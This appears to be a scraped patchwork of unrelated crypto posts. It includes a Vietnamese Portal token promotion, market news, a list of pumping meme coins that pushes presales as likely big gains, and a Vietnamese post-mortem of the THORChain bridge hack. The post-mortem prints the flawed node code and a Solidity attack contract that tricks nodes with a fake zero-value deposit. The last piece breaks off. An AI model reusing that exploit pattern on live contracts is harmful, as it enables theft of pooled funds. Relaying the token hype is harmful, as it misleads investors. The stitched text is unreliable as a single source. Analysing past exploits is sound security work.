Đánh giá chi tiết về Portal (PORTAL) trên Binance Launchpool1. Giới thiệu về Portal:Portal là một nền tảng game blockchain đa chuỗi với sứ mệnh đưa game thủ đến với thế giới Web 3.0Hệ thống ví đa chuỗi: Cho phép người dùng lưu trữ và quản lý tài sản một cách an toàn trên nhiều blockchain khác nhau.Marketplace: Nơi người chơi có thể mua bán, trao đổi các vật phẩm trong game một cách an toàn và minh bạch.Cổng thanh toán: Cho phép người dùng thanh toán cho các dịch vụ trong game bằng tiền tệ fiat hoặc cryptocurrency.Bộ công cụ phát triển: Giúp các nhà phát triển game tạo ra các trò chơi blockchain chất lượng cao một cách dễ dàng.2. Lợi thế của Portal:Đa chuỗi: Hỗ trợ nhiều blockchain khác nhau, giúp người chơi có thể trải nghiệm các trò chơi blockchain một cách mượt mà.Dễ sử dụng: Giao diện đơn giản và trực quan, giúp người chơi dễ dàng tham gia vào thế giới game blockchain.Bảo mật: Hệ thống an toàn cao cấp giúp bảo vệ tài sản của người chơi.Cộng đồng: Cộng đồng game thủ blockchain lớn mạnh và nhiệt tình.3. Cơ hội đầu tư với Portal trên Binance Launchpool:Binance Launchpool đã niêm yết PORTAL, token tiện ích của Portal, cho phép người dùng stake BNB và FDUSD để farm PORTAL trong 7 ngày, bắt đầu từ ngày 22/02/2024. Đây là cơ hội tuyệt vời để người dùng tham gia sớm vào dự án tiềm năng này.4. Đánh giá của :AVA Tech Labs đánh giá cao Portal bởi những lý do sau:Dự án tiềm năng: Portal có tiềm năng lớn để trở thành nền tảng game blockchain hàng đầu trong tương lai.Đội ngũ phát triển mạnh mẽ: Đội ngũ phát triển của Portal có nhiều kinh nghiệm trong lĩnh vực game blockchain.Cộng đồng lớn mạnh: Cộng đồng game thủ blockchain của Portal đang phát triển nhanh chóng.Kết luận:Portal là một dự án game blockchain tiềm năng với nhiều ưu điểm nổi trội. Việc niêm yết PORTAL trên Binance Launchpool là cơ hội tuyệt vời để người dùng tham gia sớm vào dự án này.Bạn nghĩ giá token sẽ là bao nhiêu usdt ?Để tìm hiểu thêm về Portal:https://bom.so/X2WCOjWebsite: https://www.portalgaming.com/#Binance #portal #web3 #btc #tradinginsight Chúc bạn thành công!

Source: THINK b/Adobe
China’s ride-sharing giant Didi Chuxing has unveiled a new digital yuan service that will let citizens in 250 parts of the nation use their CBDC coins to rent motorcycles.
Per the Xi’an Business News Network, the move involves the Didi Chuxing affiliate Didi Qingjue, which operates an app-powered motorcycle-sharing service.
Previous developments have seen Didi Chuxing affiliates offer digital yuan-holding customers CBDC payment options for bicycles and Uber-like ride-hailing services.
Users in the pilot zone will now be able to choose the e-CNY as a payment option in the Didi Chuxing app, as well as launching quick CBDC payment options on mobile widgets when hiring motorbikes.

A selection of bikes, electric cycles, and motorbikes from the ride-sharing operator Didi. (Source: yangli20067/Weibo)
Didi was one of the first private sector transport operators to join the e-CNY project, launching a bicycle-sharing pilot back in June 2020.
The firm formed a “strategic cooperation agreement” with the Digital Currency Research Institute, the central People’s Bank of China’s CBDC arm.
At the time, the parties agreed to “jointly study and explore the application of the digital yuan in the field of smart travel.”
China’s Didi Exploring Digital Yuan Pay Options
Didi said its latest move would help boost adoption and provide more payment options for its customers, adding that it would “continue to promote the application of the digital yuan in the travel sector.”

Source: N509FZ (CC BY-SA 4.0)
Chinese state-run public transport operators have been among the country’s most active CBDC adopters: Some of the very first “real-world” e-CNY transactions were made by civil servants on public bus routes.
In recent years, adoption has expanded to city metro systems, rail networks, and highway toll booths. In the city of Jinan, the entire bus network now accepts digital yuan payments.
Some inter-city rail networks have also been adapted to accept e-CNY pay, particularly in the parts of the nation that hosted the Asian Games earlier this month.
In the B2B world, meanwhile, Chinese banks have been creating digital yuan-powered supply chain financing solutions that make use of e-CNY smart contract technology.

Source: AdobeStock / Nuthawut
Google searches for ‘buy Bitcoin’ have gone up more than 800% in a single week in the UK, but Google Trends show multiple spikes in interest this quarter alone globally.
Bitcoin has witnessed a massive rise in interest during the last week across the world, but the trend has been noticeably led by the United Kingdom. The country has seen searches for buying bitcoin jump 826% in this short time frame. This is according to data from Cryptogambling.tv, as reported by Cointelegraph.
“The remarkable surge in ‘buy Bitcoin’ searches in the UK, combined with the cryptocurrency’s resurgence, underscores the growing interest and potential impact of traditional financial institutions’ involvement in the world of digital assets,” a spokesperson from Cryptogambling.tv was quoted as saying.
Google Trends data show that ‘buy Bitcoin’ today hit another value of 100, which is the peak popularity for the term in a particular time frame. Zooming further out, the spike in searches has been noticeable, starting over the last weekend.
But notably, it is not an isolated event. There have been several significant spikes in the UK over the last month alone. If we zoom out to the 90-day range, allowing more data into the chart, we find even higher spikes in late August and mid-September.
‘Buy Bitcoin’ chart, UK, 90 days

Source: trends.google.com
The situation, however, is slightly different when observing global searches for the same term. Let’s focus on the 7-day range first: while the UK saw its highest point just today, worldwide, the trend went downwards over the past couple of days, reaching a value of just 29 today. Its 100 – the highest popularity seen in this time period – was hit on Tuesday.
Now zooming out to 30 days, the situation is a lot less ‘spikey’ – it is relatively stable across this time frame. October 20 and 23 were the days when people worldwide searched ‘buy Bitcoin’ the most in this time period, with values of 100 and 99, respectively. The lowest was, interestingly, on October 22, with a value of 72.
Over the 90 days, late August was the time when people globally were the most interested in this search term, followed by early September – similar to what the UK saw – while they were the least interested in late September and early October.
‘Buy Bitcoin’ chart, worldwide, 90 days

Source: trends.google.com
Searches for ‘should i buy bitcoin now’ spiked worldwide in the last week, reaching their highest on October 25. Zooming out to observe the entire last year, this spike was just a third of the interest shown in mid-November 2022. This should not take away from the fact that this latest increase was a massive one compared to the week prior, jumping from 0 to 100, literally.
‘Bitcoin’ on its own has been by far more searched term than the two above. This week’s ‘bitcoin’ searches were the highest both for the 7-day and 30-day periods.
Over the past 90 days, this week’s searches of ‘bitcoin’ were the second-highest, behind mid-August, while November 2022 holds the highest spot over the 12-month period.
‘Bitcoin’ (blue), ‘buy Bitcoin’ (red), and ‘should i buy bitcoin’ (yellow) chart, worldwide, 90 days

Source: trends.google.com
This latest global spike in the renewed interest in crypto and purchasing BTC naturally coincided with the latest rally.
At the time of writing, on Friday morning (9:40 UTC), BTC traded at $34,125, down 1% in a day. It was up 15% in a week, and double that – 30% – over the past month.
It began its rally over the last weekend and reached just below $35,000 on Wednesday, according to CoinGecko.
BTC 7-day price chart:

Source: coingecko.com
Another factor in the latest rally is the ongoing discussion surrounding bitcoin spot exchange-traded funds (ETFs) and the potential positive effect it would have on the world’s first crypto.

HTX, the crypto exchange formerly known as Huobi Global and owned by Chinese blockchain personality Justin Sun, has announced a profit of $98 million for the third quarter of 2023.

In a recent post on X (formerly Twitter), Sun claimed that HTX generated $202 million in revenues during the quarter, with expenses totaling $104 million.
Despite the challenging market conditions in the third quarter, including the impact of the United States Federal Reserve’s high interest rates, HTX managed to maintain its revenue growth rate, the crypto veteran said.
Sun also expressed optimism about the fourth quarter, citing a market recovery and projecting $190 million in revenue and $88 million in expenses for an estimated profit of $104 million.
Sun believes that the crypto bear market is nearing its end, anticipating a spring recovery in the market in Q4 2023 and Q1 2024.
He expressed confidence in the overall improvement of financial indicators during this period.
“The overall market recovered in the fourth quarter. We are optimistic about the fourth quarter. The revenue forecast is still relatively conservative.”

HTX Faces Operational Challenges
However, HTX has faced operational challenges in recent months.
During the Token2049 event in Singapore, Edward Chen, managing director of HTX Ventures, revealed that the exchange had reduced its staff count from 2,500 earlier in the year to 900 in response to falling revenues.
In January, HTX faced an employee revolt when salaries were cut and bonuses removed due to financial difficulties.
Furthermore, HTX experienced a security breach in late September that resulted in the loss of $8 million worth of crypto assets.
The breach involved the draining of 5,000 ETH from one of HTX’s hot wallets.
Following the hack, HTX promptly reached out to the hacker and claimed to have identified their identity.
The efforts to recover the stolen funds eventually turned out to be successful and the exchange regained the funds earlier this month.
HTX Targeted By UK Financial Watchdog
In another blow to HTX, the exchange has been added to the FCA’s warning list, which includes some crypto platforms categorized as “non-authorized firms” that citizens “should avoid.”
The FCA’s decision to add these exchanges stems from concerns about their operation without the necessary license or compliance with UK regulations, potentially putting customers at risk.
Consequently, they strongly advise against engaging with any firm on the warning list, as it may expose individuals to fraud or other financial losses.
Exchanges listed in this manner are prohibited from operating within the UK.
To be removed from the list, an exchange must either register with the FCA or obtain a temporary status permit allowing legal operations within the country.

While the Foundation's losses were relatively mild, one Fantom employee alone may have lost $3.4 million.
The #Fantom Foundation confirmed that it and its employees collectively lost hundreds of thousands of dollars worth of crypto in an attack on Oct. 17.
Fantom announced on Twitter/X:
“We are aware of reports indicating a small number of Fantom wallets were compromised earlier today. At this juncture, we can confirm the wallets in question were affected, including $550K in Fantom Foundation funds.”
The Fantom Foundation added that a “significant majority” of its funds — more than 99% of its holdings — were not affected by the attack.
Fantom additionally noted that an employee wallet that had been erroneously identified as belonging to the Foundation was affected by the attack. It called this a “targeted personal attack” and said that it is tracking and investigating the employee’s funds.
The project acknowledged early reports suggesting the attack resulted from a zero-day hack via Google Chrome but said that it is still investigating whether this is the case.
Independent crypto commentator Spreek shared a message, originally posted by an admin on Fantom’s Telegram channel, discussing the potential role of a Google Chrome vulnerability in the attack.
Amount stolen could total $6.7M
Separate reports from Spreek suggested that one of the attacker’s wallets at one point held $6.7 million. Spreek noted that it is unclear whether all of those funds originated from the attack in question.
Spreek also identified multiple Fantom employee wallets that were victimized, including one team member’s wallet that lost $3.4 million.
Separate reports from CertiK suggest that those funds have now been consolidated on another Ethereum address that holds $7.0 million.
That wallet did not begin to receive funds until around the time of the attack, and all of the received funds came from another wallet titled Fake_Phishing188025. This suggests that much of the wallet’s multi-million balance is indeed hack-related.

#Bitcoin (BTC) is trading flat in the mid-$28,000s after hitting its highest level since early August on Monday near-$30,000 on fake rumors that the SEC had approved BlackRock’s spot Bitcoin ETF application.
While those reports turned out to be fake, markets remain optimistic that spot Bitcoin ETF applications will be approved in the months ahead in wake of the SEC decision not to appeal against a legal loss it just sustained versus Grayscale.
In August, a judge ordered a review of the SEC’s decision to reject Grayscale’s application to transform its Bitcoin Trust (GBTC) to a spot ETF.
That could explain why Bitcoin has been able to hold firm in the mid-$28,000s, despite a spike in US yields on Tuesday following hot US Retail Sales data.
In wake of that data, the US money market pricing implied probability that the Fed lifts interest rates at least one more time before the end of the year has jumped to over 45%, up around 11% versus Monday as per the CME’s Fed Watch Tool.
Elsewhere, Ether (ETH) underperformance versus Bitcoin continues, with the cryptocurrency down around 1% in the last 24 hours as per CoinGecko.
Other major altcoins are mixed, with XRP (XRP), Dogecoin (DOGE) and Cardano (ADA) down 1-2% in the past 24 hours, whilst Solana (SOL) is up close to 2% and Toncoin closer to 5%.
With not much action to speak of in the blue-chip crypto markets on Tuesday, traders will continue to turn to the highly illiquid and volatile shitcoin/meme coin markets for a better possibility of near-term gains.
Here are some of the top-performing low-cap shitcoins as per DEXTools.
Boba Fett ($BOBA)
A newly launched shitcoin called Boba Fett ($BOBA) has seen an impressive 500% pump since its launch earlier on Tuesday.
The shitcoin last had a market cap of around $327,000, with over $500,000 in trading volumes over the last 24 hours, as per DEXTools.
The token has already been able to accumulate more than 200 holders and already has liquidity of over $250,000.
$BOBA has three concerning aspects to its contract according to DEXTools’ security audit, including potential antiwhale, trading cooldown and external call risk functions, so potential investors should exercise significant caution when buying this coin.
Shiba ($SHIBA)
A copycat version of #Shiba Inu called Shiba ($SHIBA), which claims to be the rebirth of the $DOGE killer (i.e. Shiba Inu), has pumped up around 75% in the past 24 hours amid over $800,000 in trading volumes, making it a top performing shitcoin as per DEXTools.
Since launching 20 days ago, $SHIBA has been able to accumulate over 2,150 holders and last had a market cap of $1.56 million, with liquidity of around $150,000.
The token has four concerning aspects to its contract, as per DEXTools’ security audit , including a hidden owner, external call risk, a max sell ratio and an antiwhale mechanism.
Cyb3rgam3r420 ($GAMER)
A shitcoin called Cyb3rgam3r420 ($GAMER) has pumped close to 100% in the last 24 hours, making it a top performing shitcoin as per DEXTools.
$GAMER last had a market cap of around $280,000, with over $240,000 in volumes trading in the past 24 hours.
The token has close to 2,000 holders and nearly $75,000 in liquidity, but it has four concerning aspects to its contract, as per DEXTools’ security audit.
These include a possible hidden owner, possible external call risk, an antiwhale function and a possible trading cooldown mechanism.
Crypto Alternatives to Consider
Shitcoins are very risky, given most have no real value proposition.
For those looking for an even better probability of near-term gains, an alternative high-risk, high-reward investment strategy to consider is getting involved in crypto presales.
This is where investors buy the tokens of upstart crypto projects to help fund their development.
These tokens are nearly always sold cheaply, and there is a long history of presales delivering huge exponential gains to early investors.
Many of these projects have fantastic teams behind them and a great vision to deliver a revolutionary crypto application/platform.
If an investor can identify such projects, the risk/reward of their presale investment is very good.

Các địa chỉ liên quan đến cuộc tấn công này:
THORChain Exploiter 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031THORChain Exploiter Contract: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9cTHORChain Router (nạn nhân) : 0xC145990E84155416144C532E31f89B840Ca8c2cE
Lúc đầu mình định tham khảo bài viết trên https://rekt.news/thorchain-rekt/ nhưng mình nhận ra họ đang dẫn chứng sai và bài viết khá sơ sài nên mình quyết định tự tìm hiểu.
Kiến trúc Bridge của Thorchain
Trong Cryptocurrency Universe tồn tại rất nhiều chain, trên mỗi chain lại có vô số loại coin khác nhau, từ thuở sơ khai người ta đã mơ về việc di chuyển coin từ chain này sang chain kia một cách dễ dàng.
Đã có nhiều Bridge được sinh ra với nhiệm vụ kết nối các chain lại với nhau như Anyswap, Binance Bridge,.. đa số các Bridge này đều được xây dựng theo lối kiến trúc lock liquidity ở 2 đầu, các Validator sẽ có nhiệm vụ lắng nghe event hoặc xử lý các transaction lock ở chain nguồn và unlock ở chain đích. Chúng hoạt động theo kiểu lock và unlock gần như là ngay lập tức, không có giao dịch phái sinh nào khác trên các Validator.
Kiến trúc Bridge của Thorchain có gì đặc biệt?

Như tên gọi Thorchain, Bridge này thực chất lại là một chain được build từ Cosmos-sdk. Cosmos-sdk đã quá nổi tiếng trong Cryptocurrency Universe, với ưu điểm cho phép định nghĩa chain, coin trong chain và logic giao dịch coin một cách dễ dàng, nó đã được ông lớn Binance tin chọn để build sàn. Và cũng chính Cosmos-sdk đã đặt nền móng cho tư tưởng IBC (Inter Blockchain Communication) có thể được xem là cross-chain đời đầu.
Nhận thấy điều này, Thor đã chọn Cosmos-sdk làm loại vật liệu chính cho Bridge của mình.
Trong Thorchain, các node được tự do tham giam vào chain bằng cách đặt số tiền ký quỹ nhất định, số tiền này sẽ được trả lại khi node rời đi. Các node sẽ có nhiệm vụ lắng nghe block từ các chain bên ngoài (hiện tại gồm có Ethereum, Binance Smart Chain, Bitcoin, BitcoinCash, DogeCoin, LiteCoin) sau đó xử lý chúng, lưu các thông tin lấy được từ các block vào Thorchain (Bifrost layer), dễ thấy rằng các node trong Thorchain sẽ đồng thuận với nhau bằng IBC của chính Cosmos-sdk.
Trong Thorchain, native coin là RUNE, được dùng để tính phí giao dịch swap cũng như gas.
Vậy user sẽ tham gia vào Thorchain bằng cách nào?
Chẳng hạn 1 user trên Ethereum muốn deposit tiền vào Thorchain, anh ta sẽ thông qua giao diện của Thorchain gọi vào hàm deposit() trên smart contract THORChain_Router mà Thor đã deploy.
// Deposit an asset with a memo. ETH is forwarded, ERC-20 stays in ROUTER function deposit(address payable vault, address asset, uint amount, string memory memo) public payable nonReentrant{ uint safeAmount; if(asset == address(0)){ safeAmount = msg.value; (bool success,) = vault.call{value:safeAmount}(""); require(success); } else if(asset == RUNE) { safeAmount = amount; iRUNE(RUNE).transferTo(address(this), amount); iERC20(RUNE).burn(amount); } else { safeAmount = safeTransferFrom(asset, amount); // Transfer asset vaultAllowance[vault][asset] += safeAmount; // Credit to chosen vault } emit Deposit(vault, asset, safeAmount, memo); }
Ở đây có các tham số:
vault: là một địa chỉ ví nằm trong danh sách các địa chỉ cho phép người dùng deposit tiền vào. Theo như documentation của Thorchain, với 100 node sẽ có khoảng 3 Vault được dùng để deposit, còn Vault để người dùng withdraw lại có 100 Vault, nghĩa là mỗi node sẽ có 1 Vault withdraw riêng.asset: địa chỉ của coin, nếu coin là ETH thì giá trị này là address(0).amount: số lượngmemo: sẽ có dạng SWAP:ETH.ETH:RECEIVER_ADDRESS hoặc SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... Memo này có ý nghĩa thể hiện mục tiêu của user là muốn swap coin nào sang coin nào và địa chỉ nhận là địa chỉ nào trên chain nào.
Các node của Thorchain sẽ liên tục lắng nghe các block trên Ethereum và xử lý các giao dịch trong chúng. Node sẽ xác định loại transaction dựa vào meme trong giao dịch deposit(), nó có thể là add Liquidity hoặc swap (có thể swap cùng chain hoặc crosschain), do đó Thorchain đã sinh ra 2 loại users:
Liquidity provider: user này sẽ cung cấp liquidity cho pool và được chia fee từ các giao dịch swap, thông tin các pool này được lưu vào ThorchainUser thường: thực hiện swap và mất fee, họ gọi hàm deposit với memo tương ứng trên smart contract, các node sẽ xử lý và xác thực transaction và lưu thông tin và Thorchain, sau đó gọi hàm transferOut() để gửi token đầu ra đến địa chỉ người nhận ở chain tương ứng.
Hàm transferOut:
// Any vault calls to transfer any asset to any recipient. function transferOut(address payable to, address asset, uint amount, string memory memo) public payable nonReentrant { uint safeAmount; bool success; if(asset == address(0)){ safeAmount = msg.value; (success,) = to.call{value:msg.value}(""); // Send ETH } else { vaultAllowance[msg.sender][asset] -= amount; // Reduce allowance (success,) = asset.call(abi.encodeWithSignature("transfer(address,uint256)" , to, amount)); safeAmount = amount; } require(success); emit TransferOut(msg.sender, to, asset, safeAmount, memo); }
Lỗ hổng nằm ở đâu?
Câu trả lời là nó nằm ở Bifrost Layer của node, cụ thể hơn là module Ethereum Block Scanner của node.
Oke, bây giờ chúng ta sẽ lần theo các commit của Thorchain trên gitlab trong repo thornode của họ.
Họ có 1 commit được đặt là Resolve "[BUG] Fix ETH chain attack" với hash là eab0715650919a1f1ba525011423e71b53ffb27b, như vậy chúng ta sẽ tập trung vào commit này, đặc biệt là file bifrost/pkg/chainclients/ethereum/ethereum_block_scanner.go.
Chúng ta thấy họ đã có 1 vài thay đổi quan trọng trong hàm getTxInFromSmartContract() ở khoảng dòng 854 đổ xuống https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb27b#4e8376fdec8edf86c2833023ec44a12c1c2048cb_854_854, rất có thể lỗ hổng nằm ở đây.
Chúng ta cùng xem code của hàm này trước khi commit Resolve "[BUG] Fix ETH chain attack" được merge.
// getTxInFromSmartContract returns txInItem func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, receipt etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg("parse tx from smart contract") txInItem := &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } sender, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("fail to get sender: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 is Transaction success state if receipt.Status != 1 { e.logger.Info().Msgf("tx(%s) state: %d means failed , ignore", tx.Hash().String(), receipt.Status) return nil, nil } for , item := range receipt.Logs { switch item.Topics[0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("fail to parse deposit event: %w", err) } e.logger.Info().Msgf("deposit:%+v", depositEvt) txInItem.To = depositEvt.To.String() txInItem.Memo = depositEvt.Memo asset, err := e.getAssetFromTokenAddress(depositEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("fail to get asset from token address: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("token:%s,decimals:%d", depositEvt.Asset, decimals) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimals)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err != nil { return nil, fmt.Errorf("fail to parse transfer out event: %w", err) } e.logger.Info().Msgf("transfer out: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String() txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo asset, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("fail to get asset from token address: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).WithDecimals(decimals)) case transferAllowanceEvent: transferAllowanceEvt, err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("fail to parse transfer allowance event: %w", err) } e.logger.Info().Msgf("transfer allowance: %+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo asset, err := e.getAssetFromTokenAddress(transferAllowanceEvt.Asset.String()) if err != nil { return nil, fmt.Errorf("fail to get asset from token address: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(transferAllowanceEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(transferAllowanceEvt.Asset.String(), transferAllowanceEvt.Amount)).WithDecimals(decimals)) case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("fail to parse vault transfer event: %w", err) } e.logger.Info().Msgf("vault transfer: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo for , item := range transferEvent.Coins { asset, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("fail to get asset from token address: %w", err) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(asset, e.convertAmount(item.Asset.String(), item.Amount)).WithDecimals(decimals)) } } } // it is important to keep this part outside the above loop, as when we do router upgrade , which might generate multiple deposit event , along with tx that has eth value in it ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, gas price: %s, gas used: %d,receipt status:%d", txInItem.Tx, tx.GasPrice().String(), receipt.GasUsed, receipt.Status) // under no circumstance ETH gas price will be less than 1 Gwei , unless it is in dev environment txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGas(txGasPrice, receipt.GasUsed) if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("there is no coin in this tx, ignore, %+v", txInItem) return nil, nil } e.logger.Debug().Msgf("tx in item: %+v", txInItem) return txInItem, nil }
Hàm này có nhiệm vụ kiểm tra xem txn có thành công hay không, nếu có, nó sẽ xử lý các event được emit ra từ txn đó để biết được user đang muốn swap từ coin nào sang coin nào (có thể cùng chain hoặc khác chain) đầu ra của hàm này sẽ được node lưu lại và broadcast lên Thorchain, sau đó các node sẽ gửi coin đến địa chỉ nhận xem như hoàn tất swap.
Chú ý ở case depositEvent: đây là case xử lý khi node event là event Deposit(address indexed to, address indexed asset, uint amount, string memo) của THORChain_Router contract. Nó sẽ xác định coin đầu vào, số lượng, memo, sau đó dựa vào memo để xác định coin đầu ra, địa chỉ nhận mong muốn của user.
Thoát khỏi vòng lặp for, nó có 1 đoạn xử lý dành riêng cho việc deposit native coin ETH:
// it is important to keep this part outside the above loop, as when we do router upgrade , which might generate multiple deposit event , along with tx that has eth value in it ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }
Đây chính là lỗ hổng, mặc dù ở trên đã có được thông tin coin và số lượng từ việc phân tích event Deposit nhưng ở đây lại phân tích tiếp tx.Value(), điều này đã tạo ra khả năng over-ride thông tin có được trước đó.
Hacker đã nhận thấy điều này và tạo ra một smart contract để tấn công, logic rất đơn giản, nó wrap THORChain_Router lại như sau:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.3; interface IRouter { function deposit( address payable vault, address asset, uint256 amount, string memory memo ) external payable; } contract Attack { function attack( address router, address payable vault, string memory memo ) external payable { IRouter(router).deposit{value: 0}(vault, address(0), 0, memo); payable(msg.sender).transfer(msg.value); } }
Ví dụ, Hacker sẽ gọi vào hàm attack với một vault hợp lệ nào đó của Thorchain, memo có thể là "SWAP:ETH.ETH" và msg.value là 100 ETH, sau khi gọi 100 ETH vẫn là của anh ta, nhưng bên trong attack nó đã gọi đến deposit() của THORChain_Router.
Kết hợp smart contract này với hàm getTxInFromSmartContract() của node ở trên, Hacker dễ dàng đánh lừa được node rằng anh ta đang muốn swap 100 ETH lấy một coin nào đấy, mặc dù anh ta chả deposit vào một đồng ETH nào.
Đây là lịch sử txn của Hacker trên Etherescan https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1
Lấy ví dụ txn này https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (block 12833255). Hacker đã tấn công với 100ETH, cùng với vault là 0xf56cba49337a624e94042e325ad6bc864436e370, memo là "SWAP:ETH.ETH".
Chúng ta dễ dàng xem được event được emit ra từ THORChain_Router:
Mặc dù amount của Deposit event là 0, nhưng tx.Value() lại là 100.265 ETH. Do đó node đã nghĩ rằng ai đó đang muốn swap 100 ETH lấy 100 ETH =))).
Thế là xong, hacker chỉ cần ngồi đợi 100ETH về ví mình, giao dịch mà node transferOut() 100 ETH cho hacker là đây https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6
Hacker đã lặp lại nhiều lần như thế để đánh cắp lẫn ETH và các token ERC20 khác có trong pool, giá trị ước tính khoảng 5 triệu USD.
Hiện tại Thor đã fix Thorchain của mình nhưng việc swap đang được tạm dừng để kiểm tra nốt các lỗ hổng thể có khác.
Tổng kết
Defi luôn là một mảnh đất màu mỡ đối với các start up cũng như các hacker, càng nhiều mô hình được sinh ra cũng đồng nghĩa càng nhiều lỗ hổng có thể xuất hiện, mà thiệt hại lên đến hàng triệu USD. Nhưng bất cứ điều gì trước khi đạt đến sự hoàn hảo đều phải trải qua rất nhiều tổn thương, khắc phục được nó nghĩa là công nghệ đang ngày càng hoàn thiện.
Bài viết từ 2021 nhưng những bài học vẫn còn nguyên giá trị , cảm ơn bạn @trinhvantan đã đăng bài viết giá trị cho cộng đồng

A recent report from data analytics firm CryptoQuant suggests that the approval of spot Bitcoin exchange-traded funds (ETFs) could push Bitcoin's market capitalization to grow by $900 billion, with the total crypto market expanding by an additional $1 trillion.
CryptoQuant suggests that the next significant wave of institutional participation could come from financial institutions offering Bitcoin access to their clients through spot ETFs.
The report argued that the previous institutional adoption wave came in 2020-2021 when major institutions added Bitcoin to their balance sheets. So, this time around spot Bitcoin ETF approvals could trigger a similar push.
Major Institutional Firms Gear Up to Launch Spot BTC ETFs
Several major financial institutions in the United States have already applied for regulatory permission to launch spot Bitcoin ETFs with the US SEC. These approvals could materialize by March 2024 at the latest, potentially marking a significant milestone in the cryptocurrency industry.
The potential inflow of funds resulting from spot ETF approvals is anticipated to surpass the capital inflow into the Grayscale Bitcoin Trust (GBTC) during the previous bull market cycle.
GBTC, the world's largest cryptocurrency fund with $16.7 billion in assets under management, is operated by the Digital Currency Group..
CryptoQuant’s report further suggests that if the issuers of these Bitcoin ETFs allocate just 1% of their Assets Under Management (AUM) to these funds, it could bring approximately $155 billion into the Bitcoin market. 
This amount represents nearly a third of Bitcoin's existing market capitalization. Under this hypothetical scenario, Bitcoin's price could potentially surge to as much as $73,000.
Historically, during previous bull markets, Bitcoin's market capitalization has expanded at a rate 3-5 times greater than its realized capitalization. This pattern suggests that for every $1 of new investment entering the Bitcoin market, the market capitalization could increase by $3 to $5.
Bitcoin Surged to $30k on Fake Bitcoin ETF News
It's worth noting that the speculative fervor surrounding the potential approval of spot #Bitcoin ETFs was evident recently when Bitcoin briefly surged to $30,000 following a false report of such an approval by Cointelegraph. 
This exuberance has left some observers speculating that the bullish momentum may persist in anticipation of actual regulatory approval.
In addition, the report highlights the narrowing of the GBTC discount to its lowest level in nearly two years, indicating the growing optimism in the cryptocurrency market.
Since the cryptocurrency market first crossed the $1 trillion threshold in January 2021, it has continued to expand. At present, the total market capitalization stands at approximately $1.13 trillion, with Bitcoin comprising over 50% of the overall market.

As the year-end bull market looms, Dogecoin (DOGE) showcases a remarkable rally, surging by 4% and reigniting speculations of a potential leap to the $1 mark. 
The crypto landscape has been rife with buzz, particularly around Elon Musk's recent philosophical tweet, which has sent ripples through the crypto community, possibly influencing Dogecoin's momentum. 
Furthermore, the coin's technical indicators suggest we might be approaching a critical turning point for #DOGE.  
While there's much enthusiasm, Dogecoin's past sluggish performance and a prevailing bearish outlook cannot be overlooked. 
Adding to the mix are rumours of a partnership between Elon Musk and billionaire investor Bill Ackman, leaving many wondering about its implications for Dogecoin's future trajectory.
Elon Musk's Philosophical Tweet and Its Crypto Community Impact
